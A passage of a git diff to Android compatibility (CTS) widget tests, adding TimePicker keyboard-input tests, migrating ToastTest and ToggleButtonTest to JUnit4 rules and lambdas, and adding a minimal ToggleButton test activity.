+        assertEquals(initialMinute, mTimePicker.getMinute());
+        // Given that we are already set to AM, pressing UP changes nothing.
+        mActivityRule.runOnUiThread(() -> mTimePicker.getAmView().requestFocus());
+        mInstrumentation.waitForIdleSync();
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_DPAD_UP);
+        assertEquals(6, mTimePicker.getHour());
+        assertEquals(initialMinute, mTimePicker.getMinute());
+        mActivityRule.runOnUiThread(() -> mTimePicker.getAmView().requestFocus());
+        mInstrumentation.waitForIdleSync();
+        // Pressing down switches to PM.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_DPAD_DOWN);
+        assertEquals(18, mTimePicker.getHour());
+        assertEquals(initialMinute, mTimePicker.getMinute());
+        mActivityRule.runOnUiThread(() -> mTimePicker.getAmView().requestFocus());
+        mInstrumentation.waitForIdleSync();
+        // Given that we are set to PM, pressing DOWN again changes nothing.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_DPAD_DOWN);
+        assertEquals(18, mTimePicker.getHour());
+        assertEquals(initialMinute, mTimePicker.getMinute());
+        mActivityRule.runOnUiThread(() -> mTimePicker.getAmView().requestFocus());
+        mInstrumentation.waitForIdleSync();
+        // Pressing UP switches to AM.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_DPAD_UP);
+        assertEquals(6, mTimePicker.getHour());
+        assertEquals(initialMinute, mTimePicker.getMinute());
+    }
+
+    @Test
+    public void testKeyboardInputModeSpinner24H() throws Throwable {
+        if (isWatch()) {
+            return;
+        }
+        final int initialHour = 6;
+        final int initialMinute = 59;
+        prepareForKeyboardInput(initialHour, initialMinute, true /* is24hFormat */,
+                false /* isClockMode */);
+
+        assertEquals(initialHour, mTimePicker.getHour());
+        mActivityRule.runOnUiThread(() -> mTimePicker.getHourView().requestFocus());
+        mInstrumentation.waitForIdleSync();
+
+        // Input invalid hour.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_2);
+        // None of the keys below should be accepted after 2 was pressed.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_4);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_5);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_6);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        // Only 2 is accepted (as the only 0, 1, 2, and 3 can form valid hours after pressing 2).
+        assertEquals(2, mTimePicker.getHour());
+        assertFalse(mTimePicker.getHourView().hasFocus());
+
+        //  Go back to hour view and input valid hour.
+        mActivityRule.runOnUiThread(() -> mTimePicker.getHourView().requestFocus());
+        mInstrumentation.waitForIdleSync();
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_2);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_3);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        assertEquals(23, mTimePicker.getHour());
+        assertFalse(mTimePicker.getHourView().hasFocus());
+
+        // Go back to hour view and exercise UP and DOWN keys.
+        mActivityRule.runOnUiThread(() -> mTimePicker.getHourView().requestFocus());
+        mInstrumentation.waitForIdleSync();
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_DPAD_DOWN);
+        assertEquals(0 /* 24 */, mTimePicker.getHour());
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_DPAD_UP);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_DPAD_UP);
+        assertEquals(22, mTimePicker.getHour());
+
+        // Minute input testing.
+        assertEquals(initialMinute, mTimePicker.getMinute());
+        verifyModeSpinnerMinuteInput();
+    }
+
+    private void verifyModeClockMinuteInput() {
+        assertTrue(mTimePicker.getMinuteView().hasFocus());
+        // Send a invalid minute.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_6);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_7);
+        // Sent 6 and 7 but only 6 was valid.
+        assertEquals(6, mTimePicker.getMinute());
+        // No matter what other invalid values we send, the minute is unchanged and the focus is
+        // kept.
+        // 61 invalid.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_1);
+        assertTrue(mTimePicker.getMinuteView().hasFocus());
+        // 62 invalid.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_2);
+        assertTrue(mTimePicker.getMinuteView().hasFocus());
+        // 63 invalid.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_3);
+        assertTrue(mTimePicker.getMinuteView().hasFocus());
+        assertEquals(6, mTimePicker.getMinute());
+        // Refocus.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation, mTimePicker,
+                KeyEvent.KEYCODE_TAB, KeyEvent.KEYCODE_SHIFT_LEFT);
+        assertTrue(mTimePicker.getMinuteView().hasFocus());
+
+        // In the end pass a valid minute.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_5);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_9);
+        assertEquals(59, mTimePicker.getMinute());
+    }
+
+    private void verifyModeSpinnerMinuteInput() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTimePicker.getMinuteView().requestFocus());
+        mInstrumentation.waitForIdleSync();
+        assertTrue(mTimePicker.getMinuteView().hasFocus());
+
+        // Input invalid minute.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_6);
+        // None of the keys below should be accepted after 6 was pressed.
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_3);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_4);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_5);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        // Only 6 is accepted (as the only valid minute value that starts with 6 is 6 itself).
+        assertEquals(6, mTimePicker.getMinute());
+
+        // Go back to minute view and input valid minute.
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation, mTimePicker,
+                KeyEvent.KEYCODE_TAB, KeyEvent.KEYCODE_SHIFT_LEFT);
+        assertTrue(mTimePicker.getMinuteView().hasFocus());
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_4);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_8);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_TAB);
+        assertEquals(48, mTimePicker.getMinute());
+
+        // Go back to minute view and exercise UP and DOWN keys.
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation, mTimePicker,
+                KeyEvent.KEYCODE_TAB, KeyEvent.KEYCODE_SHIFT_LEFT);
+        assertTrue(mTimePicker.getMinuteView().hasFocus());
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_DPAD_DOWN);
+        assertEquals(49, mTimePicker.getMinute());
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_DPAD_UP);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTimePicker, KeyEvent.KEYCODE_DPAD_UP);
+        assertEquals(47, mTimePicker.getMinute());
+    }
+
+    private void prepareForKeyboardInput(int initialHour, int initialMinute, boolean is24hFormat,
+            boolean isClockMode) throws Throwable {
+        mTimePicker = isClockMode
+                ? (TimePicker) mActivity.findViewById(R.id.timepicker_clock)
+                : (TimePicker) mActivity.findViewById(R.id.timepicker_spinner);
+
+        mActivityRule.runOnUiThread(() -> {
+            mTimePicker.setIs24HourView(is24hFormat);
+            mTimePicker.setHour(initialHour);
+            mTimePicker.setMinute(initialMinute);
+            mTimePicker.requestFocus();
+        });
+        mInstrumentation.waitForIdleSync();
+    }
+
+    private void verifyTimePickerKeyboardTraversal(boolean goForward, boolean is24HourView)
+            throws Throwable {
+        ArrayList<View> forwardViews = new ArrayList<>();
+        String summary = (goForward ? " forward " : " backward ")
+                + "traversal, is24HourView=" + is24HourView;
+        assertNotNull("Unexpected NULL hour view for" + summary, mTimePicker.getHourView());
+        forwardViews.add(mTimePicker.getHourView());
+        assertNotNull("Unexpected NULL minute view for" + summary, mTimePicker.getMinuteView());
+        forwardViews.add(mTimePicker.getMinuteView());
+        if (!is24HourView) {
+            assertNotNull("Unexpected NULL AM view for" + summary, mTimePicker.getAmView());
+            forwardViews.add(mTimePicker.getAmView());
+            assertNotNull("Unexpected NULL PM view for" + summary, mTimePicker.getPmView());
+            forwardViews.add(mTimePicker.getPmView());
         }
 
-        public TimePicker getNotifiedView() {
-            return mNotifiedView;
+        if (!goForward) {
+            Collections.reverse(forwardViews);
         }
 
-        public int getNotifiedHourOfDay() {
-            return mNotifiedHourOfDay;
-        }
+        final int viewsSize = forwardViews.size();
+        for (int i = 0; i < viewsSize; i++) {
+            final View currentView = forwardViews.get(i);
+            String afterKeyCodeFormattedString = "";
+            int goForwardKeyCode = KeyEvent.KEYCODE_TAB;
+            int modifierKeyCodeToHold = KeyEvent.KEYCODE_SHIFT_LEFT;
 
-        public int getNotifiedMinute() {
-            return mNotifiedMinute;
-        }
+            if (i == 0) {
+                // Make sure we always start by focusing the 1st element in the list.
+                mActivityRule.runOnUiThread(currentView::requestFocus);
+            } else {
+                if (goForward) {
+                    afterKeyCodeFormattedString = " after pressing="
+                            + KeyEvent.keyCodeToString(goForwardKeyCode);
+                } else {
+                    afterKeyCodeFormattedString = " after pressing="
+                            + KeyEvent.keyCodeToString(modifierKeyCodeToHold)
+                            + "+" + KeyEvent.keyCodeToString(goForwardKeyCode)  + " for" + summary;
+                }
+            }
 
-        public void reset() {
-            mNotifiedView = null;
-            mNotifiedHourOfDay = 0;
-            mNotifiedMinute = 0;
-            mHasCalledOnTimeChanged = false;
-        }
+            assertTrue("View='" + currentView + "'" + " with index " + i + " is not enabled"
+                    + afterKeyCodeFormattedString + " for" + summary, currentView.isEnabled());
+            assertTrue("View='" + currentView + "'" + " with index " + i + " is not focused"
+                    + afterKeyCodeFormattedString + " for" + summary, currentView.isFocused());
 
-        public void onTimeChanged(TimePicker view, int hourOfDay, int minute) {
-            mNotifiedView = view;
-            mNotifiedHourOfDay = hourOfDay;
-            mNotifiedMinute = minute;
-            mHasCalledOnTimeChanged = true;
+            if (i < viewsSize - 1) {
+                if (goForward) {
+                    CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, currentView, goForwardKeyCode);
+                } else {
+                    CtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation, currentView,
+                            goForwardKeyCode, modifierKeyCodeToHold);
+                }
+            }
         }
     }
 
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 854247e..f2426e8 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -16,16 +16,22 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
-
-import android.app.Activity;
 import android.app.Instrumentation;
-import android.cts.util.PollingCheck;
+import android.content.Context;
 import android.graphics.drawable.Drawable;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.Gravity;
 import android.view.View;
 import android.view.ViewTreeObserver;
@@ -33,68 +39,60 @@
 import android.widget.ImageView;
 import android.widget.Toast;
 
-public class ToastTest extends ActivityInstrumentationTestCase2<CtsActivity> {
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class ToastTest {
     private static final String TEST_TOAST_TEXT = "test toast";
     private static final long TIME_FOR_UI_OPERATION  = 1000L;
     private static final long TIME_OUT = 5000L;
     private Toast mToast;
-    private Activity mActivity;
+    private Context mContext;
     private Instrumentation mInstrumentation;
     private boolean mLayoutDone;
     private ViewTreeObserver.OnGlobalLayoutListener mLayoutListener;
 
-    public ToastTest() {
-        super("android.widget.cts", CtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule =
+            new ActivityTestRule<>(CtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
-        mLayoutDone = false;
-        mLayoutListener = new ViewTreeObserver.OnGlobalLayoutListener() {
-            public void onGlobalLayout() {
-                mLayoutDone = true;
-            }
-        };
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = InstrumentationRegistry.getTargetContext();
+        mLayoutListener = () -> mLayoutDone = true;
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
-        new Toast(mActivity);
-
-        try {
-            new Toast(null);
-            fail("did not throw NullPointerException when context is null.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
+        new Toast(mContext);
     }
 
-    private void assertShowToast(final View view) {
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return null != view.getParent();
-            }
-        }.run();
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext() {
+        new Toast(null);
     }
 
-    private void assertShowAndHide(final View view) {
+    private static void assertShowToast(final View view) {
+        PollingCheck.waitFor(TIME_OUT, () -> null != view.getParent());
+    }
+
+    private static void assertShowAndHide(final View view) {
         assertShowToast(view);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return null == view.getParent();
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> null == view.getParent());
     }
 
-    private void assertNotShowToast(final View view) throws InterruptedException {
+    private static void assertNotShowToast(final View view) {
         // sleep a while and then make sure do not show toast
-        Thread.sleep(TIME_FOR_UI_OPERATION);
+        SystemClock.sleep(TIME_FOR_UI_OPERATION);
         assertNull(view.getParent());
     }
 
@@ -104,25 +102,18 @@
     }
 
     private void assertLayoutDone(final View view) {
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mLayoutDone;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mLayoutDone);
         view.getViewTreeObserver().removeOnGlobalLayoutListener(mLayoutListener);
     }
 
-    private void makeToast() {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mToast = Toast.makeText(mActivity, TEST_TOAST_TEXT, Toast.LENGTH_LONG);
-            }
-        });
+    private void makeToast() throws Throwable {
+        mActivityRule.runOnUiThread(
+                () -> mToast = Toast.makeText(mContext, TEST_TOAST_TEXT, Toast.LENGTH_LONG));
         mInstrumentation.waitForIdleSync();
     }
 
-    public void testShow() {
+    @Test
+    public void testShow() throws Throwable {
         makeToast();
 
         final View view = mToast.getView();
@@ -131,11 +122,7 @@
         assertNull(view.getParent());
         assertEquals(View.VISIBLE, view.getVisibility());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mToast.show();
-            }
-        });
+        mActivityRule.runOnUiThread(mToast::show);
         mInstrumentation.waitForIdleSync();
 
         // view will be attached to screen when show it
@@ -144,63 +131,54 @@
     }
 
     @UiThreadTest
+    @Test(expected=RuntimeException.class)
     public void testShowFailure() {
-        Toast toast = new Toast(mActivity);
+        Toast toast = new Toast(mContext);
         // do not have any views.
         assertNull(toast.getView());
-        try {
-            toast.show();
-            fail("did not throw RuntimeException when did not set any views.");
-        } catch (RuntimeException e) {
-            // expected, test success.
-        }
+        toast.show();
     }
 
-    public void testCancel() throws InterruptedException {
+    @Test
+    public void testCancel() throws Throwable {
         makeToast();
 
         final View view = mToast.getView();
 
         // view has not been attached to screen yet
         assertNull(view.getParent());
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mToast.show();
-                mToast.cancel();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mToast.show();
+            mToast.cancel();
         });
         mInstrumentation.waitForIdleSync();
 
         assertNotShowToast(view);
     }
 
-    public void testAccessView() {
+    @Test
+    public void testAccessView() throws Throwable {
         makeToast();
         assertFalse(mToast.getView() instanceof ImageView);
 
-        final ImageView imageView = new ImageView(mActivity);
-        Drawable drawable = mActivity.getResources().getDrawable(R.drawable.pass);
+        final ImageView imageView = new ImageView(mContext);
+        Drawable drawable = mContext.getResources().getDrawable(R.drawable.pass);
         imageView.setImageDrawable(drawable);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mToast.setView(imageView);
-                mToast.show();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mToast.setView(imageView);
+            mToast.show();
         });
         mInstrumentation.waitForIdleSync();
         assertSame(imageView, mToast.getView());
         assertShowAndHide(imageView);
     }
 
-    public void testAccessDuration() {
+    @Test
+    public void testAccessDuration() throws Throwable {
         long start = SystemClock.uptimeMillis();
         makeToast();
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mToast.show();
-            }
-        });
+        mActivityRule.runOnUiThread(mToast::show);
         mInstrumentation.waitForIdleSync();
         assertEquals(Toast.LENGTH_LONG, mToast.getDuration());
 
@@ -209,11 +187,9 @@
         long longDuration = SystemClock.uptimeMillis() - start;
 
         start = SystemClock.uptimeMillis();
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mToast.setDuration(Toast.LENGTH_SHORT);
-                mToast.show();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mToast.setDuration(Toast.LENGTH_SHORT);
+            mToast.show();
         });
         mInstrumentation.waitForIdleSync();
         assertEquals(Toast.LENGTH_SHORT, mToast.getDuration());
@@ -225,28 +201,27 @@
         assertTrue(longDuration > shortDuration);
     }
 
-    public void testAccessMargin() {
+    @Test
+    public void testAccessMargin() throws Throwable {
         makeToast();
         View view = mToast.getView();
         assertFalse(view.getLayoutParams() instanceof WindowManager.LayoutParams);
 
         final float horizontal1 = 1.0f;
         final float vertical1 = 1.0f;
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mToast.setMargin(horizontal1, vertical1);
-                mToast.show();
-                registerLayoutListener(mToast.getView());
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mToast.setMargin(horizontal1, vertical1);
+            mToast.show();
+            registerLayoutListener(mToast.getView());
         });
         mInstrumentation.waitForIdleSync();
         assertShowToast(view);
 
-        assertEquals(horizontal1, mToast.getHorizontalMargin());
-        assertEquals(vertical1, mToast.getVerticalMargin());
+        assertEquals(horizontal1, mToast.getHorizontalMargin(), 0.0f);
+        assertEquals(vertical1, mToast.getVerticalMargin(), 0.0f);
         WindowManager.LayoutParams params1 = (WindowManager.LayoutParams) view.getLayoutParams();
-        assertEquals(horizontal1, params1.horizontalMargin);
-        assertEquals(vertical1, params1.verticalMargin);
+        assertEquals(horizontal1, params1.horizontalMargin, 0.0f);
+        assertEquals(vertical1, params1.verticalMargin, 0.0f);
         assertLayoutDone(view);
         int[] xy1 = new int[2];
         view.getLocationOnScreen(xy1);
@@ -254,21 +229,19 @@
 
         final float horizontal2 = 0.1f;
         final float vertical2 = 0.1f;
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mToast.setMargin(horizontal2, vertical2);
-                mToast.show();
-                registerLayoutListener(mToast.getView());
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mToast.setMargin(horizontal2, vertical2);
+            mToast.show();
+            registerLayoutListener(mToast.getView());
         });
         mInstrumentation.waitForIdleSync();
         assertShowToast(view);
 
-        assertEquals(horizontal2, mToast.getHorizontalMargin());
-        assertEquals(vertical2, mToast.getVerticalMargin());
+        assertEquals(horizontal2, mToast.getHorizontalMargin(), 0.0f);
+        assertEquals(vertical2, mToast.getVerticalMargin(), 0.0f);
         WindowManager.LayoutParams params2 = (WindowManager.LayoutParams) view.getLayoutParams();
-        assertEquals(horizontal2, params2.horizontalMargin);
-        assertEquals(vertical2, params2.verticalMargin);
+        assertEquals(horizontal2, params2.horizontalMargin, 0.0f);
+        assertEquals(vertical2, params2.verticalMargin, 0.0f);
 
         assertLayoutDone(view);
         int[] xy2 = new int[2];
@@ -279,14 +252,13 @@
         assertTrue(xy1[1] < xy2[1]);
     }
 
-    public void testAccessGravity() {
+    @Test
+    public void testAccessGravity() throws Throwable {
         makeToast();
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mToast.setGravity(Gravity.CENTER, 0, 0);
-                mToast.show();
-                registerLayoutListener(mToast.getView());
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mToast.setGravity(Gravity.CENTER, 0, 0);
+            mToast.show();
+            registerLayoutListener(mToast.getView());
         });
         mInstrumentation.waitForIdleSync();
         View view = mToast.getView();
@@ -299,12 +271,10 @@
         view.getLocationOnScreen(centerXY);
         assertShowAndHide(view);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mToast.setGravity(Gravity.BOTTOM, 0, 0);
-                mToast.show();
-                registerLayoutListener(mToast.getView());
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mToast.setGravity(Gravity.BOTTOM, 0, 0);
+            mToast.show();
+            registerLayoutListener(mToast.getView());
         });
         mInstrumentation.waitForIdleSync();
         view = mToast.getView();
@@ -324,12 +294,10 @@
 
         final int xOffset = 20;
         final int yOffset = 10;
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mToast.setGravity(Gravity.BOTTOM, xOffset, yOffset);
-                mToast.show();
-                registerLayoutListener(mToast.getView());
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mToast.setGravity(Gravity.BOTTOM, xOffset, yOffset);
+            mToast.show();
+            registerLayoutListener(mToast.getView());
         });
         mInstrumentation.waitForIdleSync();
         view = mToast.getView();
@@ -347,90 +315,92 @@
     }
 
     @UiThreadTest
-    public void testMakeText1() {
-        Toast toast = Toast.makeText(mActivity, "android", Toast.LENGTH_SHORT);
+    @Test
+    public void testMakeTextFromString() {
+        Toast toast = Toast.makeText(mContext, "android", Toast.LENGTH_SHORT);
         assertNotNull(toast);
         assertEquals(Toast.LENGTH_SHORT, toast.getDuration());
         View view = toast.getView();
         assertNotNull(view);
 
-        toast = Toast.makeText(mActivity, "cts", Toast.LENGTH_LONG);
+        toast = Toast.makeText(mContext, "cts", Toast.LENGTH_LONG);
         assertNotNull(toast);
         assertEquals(Toast.LENGTH_LONG, toast.getDuration());
         view = toast.getView();
         assertNotNull(view);
 
-        toast = Toast.makeText(mActivity, null, Toast.LENGTH_LONG);
+        toast = Toast.makeText(mContext, null, Toast.LENGTH_LONG);
         assertNotNull(toast);
         assertEquals(Toast.LENGTH_LONG, toast.getDuration());
         view = toast.getView();
         assertNotNull(view);
-
-        try {
-            toast = Toast.makeText(null, "test", Toast.LENGTH_LONG);
-            fail("did not throw NullPointerException when context is null.");
-        } catch (NullPointerException e) {
-            //expected, test success.
-        }
     }
 
     @UiThreadTest
-    public void testMakeText2() {
-        Toast toast = Toast.makeText(mActivity, R.string.hello_world, Toast.LENGTH_LONG);
+    @Test(expected=NullPointerException.class)
+    public void testMaketTextFromStringNullContext() {
+        Toast.makeText(null, "test", Toast.LENGTH_LONG);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testMakeTextFromResource() {
+        Toast toast = Toast.makeText(mContext, R.string.hello_world, Toast.LENGTH_LONG);
 
         assertNotNull(toast);
         assertEquals(Toast.LENGTH_LONG, toast.getDuration());
         View view = toast.getView();
         assertNotNull(view);
 
-        toast = Toast.makeText(mActivity, R.string.hello_android, Toast.LENGTH_SHORT);
+        toast = Toast.makeText(mContext, R.string.hello_android, Toast.LENGTH_SHORT);
         assertNotNull(toast);
         assertEquals(Toast.LENGTH_SHORT, toast.getDuration());
         view = toast.getView();
         assertNotNull(view);
-
-        try {
-            toast = Toast.makeText(null, R.string.hello_android, Toast.LENGTH_SHORT);
-            fail("did not throw NullPointerException when context is null.");
-        } catch (NullPointerException e) {
-            //expected, test success.
-        }
     }
 
     @UiThreadTest
-    public void testSetText1() {
-        Toast toast = Toast.makeText(mActivity, R.string.text, Toast.LENGTH_LONG);
+    @Test(expected=NullPointerException.class)
+    public void testMaketTextFromResourceNullContext() {
+        Toast.makeText(null, R.string.hello_android, Toast.LENGTH_SHORT);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetTextFromResource() {
+        Toast toast = Toast.makeText(mContext, R.string.text, Toast.LENGTH_LONG);
 
         toast.setText(R.string.hello_world);
         // TODO: how to getText to assert?
 
         toast.setText(R.string.hello_android);
         // TODO: how to getText to assert?
-
-        try {
-            toast.setText(-1);
-            fail("did not throw RuntimeException when resource id is negative.");
-        } catch (RuntimeException e) {
-            //expected, test success.
-        }
     }
 
     @UiThreadTest
-    public void testSetText2() {
-        Toast toast = Toast.makeText(mActivity, R.string.text, Toast.LENGTH_LONG);
+    @Test(expected=RuntimeException.class)
+    public void testSetTextFromInvalidResource() {
+        Toast toast = Toast.makeText(mContext, R.string.text, Toast.LENGTH_LONG);
+        toast.setText(-1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetTextFromString() {
+        Toast toast = Toast.makeText(mContext, R.string.text, Toast.LENGTH_LONG);
 
         toast.setText("cts");
         // TODO: how to getText to assert?
 
         toast.setText("android");
         // TODO: how to getText to assert?
+    }
 
-        try {
-            toast.setView(null);
-            toast.setText(null);
-            fail("did not throw RuntimeException when view is null.");
-        } catch (RuntimeException e) {
-            //expected, test success.
-        }
+    @UiThreadTest
+    @Test(expected=RuntimeException.class)
+    public void testSetTextFromStringNullView() {
+        Toast toast = Toast.makeText(mContext, R.string.text, Toast.LENGTH_LONG);
+        toast.setView(null);
+        toast.setText(null);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ToggleButtonCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ToggleButtonCtsActivity.java
new file mode 100644
index 0000000..3640957
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ToggleButtonCtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.ToggleButton;
+
+/**
+ * A minimal application for {@link ToggleButton} test.
+ */
+public class ToggleButtonCtsActivity extends Activity {
+    /**
+     * Called with the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.togglebutton_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/ToggleButtonTest.java b/tests/tests/widget/src/android/widget/cts/ToggleButtonTest.java
index d335c13..a473983 100644
--- a/tests/tests/widget/src/android/widget/cts/ToggleButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToggleButtonTest.java
@@ -16,92 +16,121 @@
 
 package android.widget.cts;
 
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
+import android.app.Activity;
 import android.content.Context;
-import android.content.res.Resources;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.StateListDrawable;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
-import android.util.Xml;
 import android.widget.ToggleButton;
 
-import android.widget.cts.R;
-
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link ToggleButton}.
  */
-public class ToggleButtonTest extends InstrumentationTestCase {
